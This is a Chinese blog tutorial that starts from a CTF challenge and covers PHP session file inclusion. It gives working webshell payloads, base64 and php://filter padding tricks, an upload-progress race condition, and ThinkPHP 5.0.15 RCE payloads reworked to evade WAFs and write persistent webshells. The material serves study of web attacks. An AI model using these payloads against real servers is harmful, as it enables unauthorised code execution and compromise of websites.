Session 文件包含漏洞

前言

在某次偶然打CTF时,遇到Session文件包含,但打了个一塌糊涂。借此来学习一下,更想知道在实战中会不会出现该漏洞。

session 基础知识

在看题目之前,先看一下session的基础知识点。

  • 存储
    可通过phpinfo查看session.save_path的值,即存储位置。
image.png

这里用的是phpstudy,常见的存储目录如下

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID
  • 命名
    那这个文件是怎么命名的呢?
    文件名格式为sess_[phpsessid]。而phpsessid来源于请求的cookie字段。
image.png
  • session处理
    php在处理session的时候,主要是session.serialize_handler的配置。
session.serialize_handler = php

默认也是以这种方式处理的。
如:

<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

POST传入username=cseroad

image.png

可以看到只对用户名的内容cseroad进行了序列化存储,即s:7:"cseroad"
没有对变量名做任何处理,即username。
两者以|分割,并以;结尾。
还有一种处理方式。即session.serialize_handler=php_serialize,这种方式在php 5.5.4 之后被启用。可以在php.ini或者代码中进行设置。

<?php
ini_set('session.serialize_handler', 'php_serialize');    
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
image.png

a:1表示$_SESSION数组中有1个元素,花括号里面的内容即为传入POST参数经过序列化后的值。可以看到对整个session信息包括变量名、变量值都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储。

还有一种处理方式是session.serialize_handler=php_binary
直接抄用一实例

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_POST['username'];
?>

序列化的结果为:

#sessionsessionsessionsessionsessions:7:"cseroad";

#为键名长度对应ASCII的值,35位长度对应的ASCII值为#,最后一位s指的是字符串类型;
sessionsessionsessionsessionsessions为键名;
s:7:"cseroad";为传入POST参数经过序列化后的值。
还需要注意的一点的是以上代码都执行了session_start(),与此对应的配置项为session.auto_start,即当session.auto_start为1时,php就会自动初始化Session,不需要再配置session_start()。

session文件包含

基于以上基础,我们看一个文件包含的demo。

<?php
session_start();
error_reporting(0);

if (isset($_POST['username'])) {
    $_SESSION['username'] = $_POST['username'];
}


if (isset($_GET['file'])) {
    include($_GET['file']);
}

?>

将username赋值为一句话木马。

image.png

再利用file参数存在的文件包含漏洞包含该sessionid文件。 并执行系统命令。

image.png

这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。

  • 如对用户session信息进行编码或加密
  • 如代码没有session_start()进行初始化操作,服务器也就无法生成session文件

session Base64Encode

比如这次CTF遇到的这道题目:

<?php
session_start();
error_reporting(0);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title></title>
<meta name="keywords" content="" />
<meta name="description" content="" />

<form action="ctf.php" method="post">
名字: <input type="text" name="name">
<input type="submit" value="提交">
</form>

<?php 

if (isset($_POST['name'])) {
    $_SESSION['name'] = base64_encode($_POST['name']);
}

if (!empty($_SESSION['name'])) {
    echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
}


if (isset($_GET['file'])) {
    include($_GET['file']);
}

?>

明显看到session存储的name值经过了base64的编码。
此时我们再次尝试传入恶意代码时,文件包含也就无法利用了。

image.png

既然base64编码进去,那我们解码再包含不就可以了。php://filter这时候就可以用上了。

file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_12d9k7c564prh3kvgbki673sc2
image.png

但是结果并没有执行。如果看一下报错信息,会发现是base64解码时出现了错误。
这里就涉及到了base64解码的原理。
在base64编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于base64编码表里的字符,会跳过这些字符,将合法的字符拼接后解码
而sessionid的内容为:name|s:length(str):"base64_encode";
那么这里面排除不在base64其中的字符,如:|::,再固定必须的字符长度。只需要让name|s:length(str):"base64_encode这一部分可以正常解码,也就是这部分数据长度需要满足4的整数倍。计算一下,最好name|s:length(str):"base64_encode 的长度为12。而name和s就有5个长度,str字符串程度最好是三位数,凑够偶数。这样就有8个字符长度。再在base64_encode取4个字符即可。

故payload如下:

name=qdwqdwqwqewssdqeqrcetmqftmqfaxtamqwqftmqm<?php eval($_POST['cseroad']);?>
image.png

再次文件包含

POST /ctf.php?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_111111111111 HTTP/1.1
Host: 10.211.55.31
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

cseroad=system('whoami');
image.png

No session_start()

当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

编辑一个上传的数据包。

<!doctype html>
<html>
<body>
<form action="http://10.211.55.31/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

并抓取该数据包,自定义修改cookie和设置PHP_SESSION_UPLOAD_PROGRESS的值。

image.png

同时构造文件包含的数据包,来包含自定义的sessionid。

image.png

利用条件竞争,先intruder上传的数据包,再intruder包含的数据包。

image.png

同时根目录生成了a.php。

image.png

这样看来,利用这个思路文件包含也可以getshell。

拓展

在某些时候session的文件包含同样具有实战意义,比如thinkphp rce命令在受到WAF防护的情况下,利用session文件包含就是一个不错的思路。
思路来源于 https://xz.aliyun.com/t/6106
在本地上采用thinkphp 5.0.15版本复现该漏洞,并重点放在session文件包含上。
该rce漏洞是因为控制_method参数调用了任意的Request类的任意方法。
payload如下:

_method=__construct&method=get&filter[]=system&get[]=whoami

当存在WAF的时候,利用session文件包含或许是绕过WAF的一种方式。修改payload为

_method=__construct&method=get&filter[]=think\Session::set&get[]=<?php%20echo(`whoami`)?>

这样payload就写进了sess_id文件。

image.png

再调用include包含session

_method=__construct&method=get&filter[]=think\__include_file&get[]=..\..\..\tmp\tmp\sess_111111111&
image.png

当WAF拦截上面某些关键字的时候,还可以尝试base64编码。
比如下面这个一句话木马

<?php @$c=str_rot13('nffreg');$c($_REQUEST['cseroad']);?>

base64编码后为

PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+

我们知道base64解码时容易无法解码,需要满足长度为4的倍数情况下才可以正常解码。所以think|a:5:{s:80:"xx该字符串之前需要添加两个字符。满足4的倍数,正好长度为12。
payload为:

_method=__construct&method=get&filter[]=think\Session::set&get[]=ab%50%44%39%77%61%48%41%67%51%43%52%6a%50%58%4e%30%63%6c%39%79%62%33%51%78%4d%79%67%6e%62%6d%5a%6d%63%6d%56%6e%4a%79%6b%37%4a%47%4d%6f%4a%46%39%53%52%56%46%56%52%56%4e%55%57%79%64%6a%63%32%56%79%62%32%46%6b%4a%31%30%70%4f%7a%38%2b

再次利用php://filter包含。

_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/convert.base64-decode/resource=..\..\..\tmp\tmp\sess_333333&
image.png

这时候发挥的空间就大多了。
可以再增加一层base64编码来绕过WAF

<?php @$c=str_rot13('nffreg');$c(base64_decode($_REQUEST['cseroad']));?>

这样在命令执行的时候传入base64编码之后的值即可。

image.png

还可以进一步使用strrev()函数反转伪协议字符串。payload 为

_method=__construct&method=get&&filter[]=strrev&filter[]=think\__include_file&get[]=333333_sses\pmt\pmt\..\..\..=ecruoser/edoced-46esab.trevnoc/retlif//:php&

也可以使用file_put_contents()函数,将一句话木马写进文件

<?php file_put_contents('123.php',base64_decode("PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+"));?>

这时候base64编码之后

PD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4=

这个长度已经是三位数了,计算序列化后base64编码前的字符串长度为11位,那么只需要补齐一位就可以了。

image.png

所以这时候的payload为

_method=__construct&method=get&filter[]=think\Session::set&get[]=aPD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4%2b

再次包含之后,123.php文件就成功写入了public目录下。

image.png

访问webshell正常执行。

image.png

总结

通过一道CTF题目熟悉了session 文件包含的原理,也扩展到实战绕过WAF的一个利用场景。不得不说 https://www.anquanke.com/post/id/201177#h2-8 这篇文章写得太棒了。

参考资料

https://www.anquanke.com/post/id/201177#h2-8
https://xz.aliyun.com/t/10534

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,425评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,058评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,186评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,848评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,249评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,554评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,830评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,536评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,239评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,505评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,004评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,346评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,999评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,060评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,821评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,574评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,480评论 2 267

推荐阅读更多精彩内容